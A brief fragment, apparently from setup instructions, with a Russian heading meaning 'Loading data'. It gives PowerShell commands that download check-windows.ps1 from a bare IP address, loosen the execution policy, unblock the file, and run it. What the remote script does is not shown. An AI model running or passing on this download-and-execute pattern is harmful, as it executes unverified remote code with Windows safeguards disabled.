Загрузка данных


New-Item -ItemType Directory -Force "$env:USERPROFILE\VPS-Checks" | Out-Null
Set-Location "$env:USERPROFILE\VPS-Checks"

Invoke-WebRequest -UseBasicParsing 'https://95.85.251.18/check-windows.ps1' -OutFile '.\check-windows.ps1'

Set-ExecutionPolicy -Scope Process -ExecutionPolicy RemoteSigned -Force
Unblock-File -LiteralPath '.\check-windows.ps1'

.\check-windows.ps1